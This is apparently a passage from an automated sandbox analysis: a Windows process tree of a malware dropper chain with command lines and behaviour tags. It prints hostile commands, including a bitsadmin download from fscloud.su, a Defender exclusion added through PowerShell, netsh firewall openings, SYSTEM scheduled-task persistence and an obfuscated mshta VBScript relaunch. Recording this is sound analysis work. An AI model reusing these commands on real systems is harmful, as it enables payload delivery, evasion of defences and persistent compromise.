                                                                                                                                                      14⤵
                                                                                                                                                        PID:4648
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                          15⤵
                                                                                                                                                            PID:2780
                                                                                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1633890786 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                              16⤵
                                                                                                                                                                PID:6224
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q4zaa34u.xh2\any.exe & exit
                                                                                                                                                            14⤵
                                                                                                                                                              PID:4944
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\q4zaa34u.xh2\any.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\q4zaa34u.xh2\any.exe
                                                                                                                                                                15⤵
                                                                                                                                                                  PID:2948
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c1pjxbzz.yqn\gcleaner.exe /mixfive & exit
                                                                                                                                                                14⤵
                                                                                                                                                                  PID:4184
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\c1pjxbzz.yqn\gcleaner.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\c1pjxbzz.yqn\gcleaner.exe /mixfive
                                                                                                                                                                    15⤵
                                                                                                                                                                      PID:1804
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ncljovje.hh5\autosubplayer.exe /S & exit
                                                                                                                                                                    14⤵
                                                                                                                                                                      PID:6604
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ncljovje.hh5\autosubplayer.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\ncljovje.hh5\autosubplayer.exe /S
                                                                                                                                                                        15⤵
                                                                                                                                                                          PID:2804
                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                            16⤵
                                                                                                                                                                              PID:6688
                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                              16⤵
                                                                                                                                                                                PID:6504
                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                                16⤵
                                                                                                                                                                                  PID:5992
                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                                  16⤵
                                                                                                                                                                                    PID:5092
                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                                    16⤵
                                                                                                                                                                                      PID:4192
                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                                      16⤵
                                                                                                                                                                                        PID:6792
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"
                                                                                                                                                                                        16⤵
                                                                                                                                                                                          PID:6576
                                                                                                                                                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                                                                          "bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
                                                                                                                                                                                          16⤵
                                                                                                                                                                                          • Download via BitsAdmin
                                                                                                                                                                                          PID:4152
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        PID:5028
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                        PID:3500
                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\JBNwoNbKSQ_apvK7uEp0UK4u.exe
                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\JBNwoNbKSQ_apvK7uEp0UK4u.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:3952
                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\Xl8TQVvdcDhDCxd521jUkOk_.exe
                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\Xl8TQVvdcDhDCxd521jUkOk_.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                      PID:1348
                                                                                                                                                                      • C:\Windows\svchost.com
                                                                                                                                                                        "C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE"
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                        PID:5480
                                                                                                                                                                        • C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE
                                                                                                                                                                          C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:5556
                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                          "C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\cutm3.exe"
                                                                                                                                                                          7⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                          PID:5188
                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                          "C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\inst3.exe"
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:5528
                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe
                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                          PID:4268
                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe
                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe"
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                            PID:6312
                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\OSPi343cts_P2UecYk_NoXxU.exe
                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\OSPi343cts_P2UecYk_NoXxU.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                          PID:4724
                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\qdWj5w6Ic5tZMmeSlsKBZkQM.exe
                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\qdWj5w6Ic5tZMmeSlsKBZkQM.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:3404
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 660
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:6544
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 676
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:6792
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 680
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:7036
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 696
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Program crash
                                                                                                                                                                            PID:4544
                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\Wzm1sgDHboLMLjvBmrSA1Lip.exe
                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\Wzm1sgDHboLMLjvBmrSA1Lip.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Modifies system executable filetype association
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          PID:3828
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\3582-490\Wzm1sgDHboLMLjvBmrSA1Lip.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\3582-490\Wzm1sgDHboLMLjvBmrSA1Lip.exe"
                                                                                                                                                                            7⤵
                                                                                                                                                                              PID:5164
                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\rxSdkigjdFzPqOdVaCZCuU6c.exe
                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\rxSdkigjdFzPqOdVaCZCuU6c.exe"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:1908
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\ix2mHeVFSBvbmR0vNbTZD6OV.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\ix2mHeVFSBvbmR0vNbTZD6OV.exe"
                                                                                                                                                                              6⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                              PID:3296
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\JXTPmlKANs52mkD2qMOQ4STV.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\JXTPmlKANs52mkD2qMOQ4STV.exe"
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:1840
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\41YCPmIdgohKHdn3Bw1eIs7g.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\41YCPmIdgohKHdn3Bw1eIs7g.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                PID:408
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\lq2elq5gMW2J_TPdCqgB4Bf8.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\lq2elq5gMW2J_TPdCqgB4Bf8.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                PID:1936
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\miBYZJOCoU2pMLY1z4VrXD2_.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\miBYZJOCoU2pMLY1z4VrXD2_.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                PID:2676
                                                                                                                                                                                • C:\Windows\svchost.com
                                                                                                                                                                                  "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:7100
                                                                                                                                                                                    • C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
                                                                                                                                                                                      C:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:7152
                                                                                                                                                                                    • C:\Windows\svchost.com
                                                                                                                                                                                      "C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:4680
                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                          C:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                          8⤵
                                                                                                                                                                                            PID:5948
                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:344
                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                              C:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                              8⤵
                                                                                                                                                                                                PID:6252
                                                                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                              schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                                                                              7⤵
                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                              PID:5288
                                                                                                                                                                                            • C:\Windows\svchost.com
                                                                                                                                                                                              "C:\Windows\svchost.com" "C:\Windows\System\svchost.exe" formal
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:6752
                                                                                                                                                                                                • C:\Windows\System\svchost.exe
                                                                                                                                                                                                  C:\Windows\System\svchost.exe formal
                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                    PID:6656
                                                                                                                                                                                                    • C:\Windows\svchost.com
                                                                                                                                                                                                      "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                        PID:3124
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
                                                                                                                                                                                                          C:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                            PID:4920
                                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                          PID:2500
                                                                                                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                            C:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                              PID:1444
                                                                                                                                                                                                          • C:\Windows\svchost.com
                                                                                                                                                                                                            "C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                              PID:6980
                                                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                C:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                  PID:2772
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\oNKNPy4BzgGZ4HOyIWUtbx7z.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\oNKNPy4BzgGZ4HOyIWUtbx7z.exe"
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:4780
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\3734809.scr
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\3734809.scr" /S
                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                              PID:3880
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\1275820.scr
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\1275820.scr" /S
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                PID:4456
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\4469513.scr
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\4469513.scr" /S
                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                  PID:5512
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\2323756.scr
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\2323756.scr" /S
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                    PID:2228
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\6092775.scr
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\6092775.scr" /S
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                      PID:136
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\qnuO93tm5xrMNme2dpYoMzSP.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\qnuO93tm5xrMNme2dpYoMzSP.exe"
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    PID:4232
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\a3vyCLeqrnDnYG14TJYu0Ct0.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\a3vyCLeqrnDnYG14TJYu0Ct0.exe"
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                    PID:4716
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\Z5r1nDrqdVF4tIXqAoMelhBb.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\Z5r1nDrqdVF4tIXqAoMelhBb.exe"
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    PID:4140
                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                        PID:6888
                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\6GtyS2xe8WV9VtPWfuymaDW7.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\6GtyS2xe8WV9VtPWfuymaDW7.exe"
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:4464
                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                          PID:6896
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                        PID:2952
                                                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                          PID:5536
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\tTt2o5KFb5l7ILIjRQCpgLkl.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\tTt2o5KFb5l7ILIjRQCpgLkl.exe"
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:1540
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                            PID:5000
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                              taskkill /f /im chrome.exe
                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                              PID:4212
                                                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\GB1Y0A~1.EXE"
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:3704
                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\ADOBEF~1\GB1Y0A~1.EXE
                                                                                                                                                                                                                              C:\Users\Admin\Pictures\ADOBEF~1\GB1Y0A~1.EXE
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:6300
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                    PID:4940
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--oYd2f1"
                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                        PID:7084
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f4,0x1f8,0x1fc,0x1d0,0x200,0x7ffeef0bdec0,0x7ffeef0bded0,0x7ffeef0bdee0
                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                            PID:7088
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6fb6b9e70,0x7ff6fb6b9e80,0x7ff6fb6b9e90
                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                PID:5396
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1688 /prefetch:2
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                PID:7048
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1736 /prefetch:8
                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                  PID:4868
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=2008 /prefetch:8
                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                    PID:6596
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
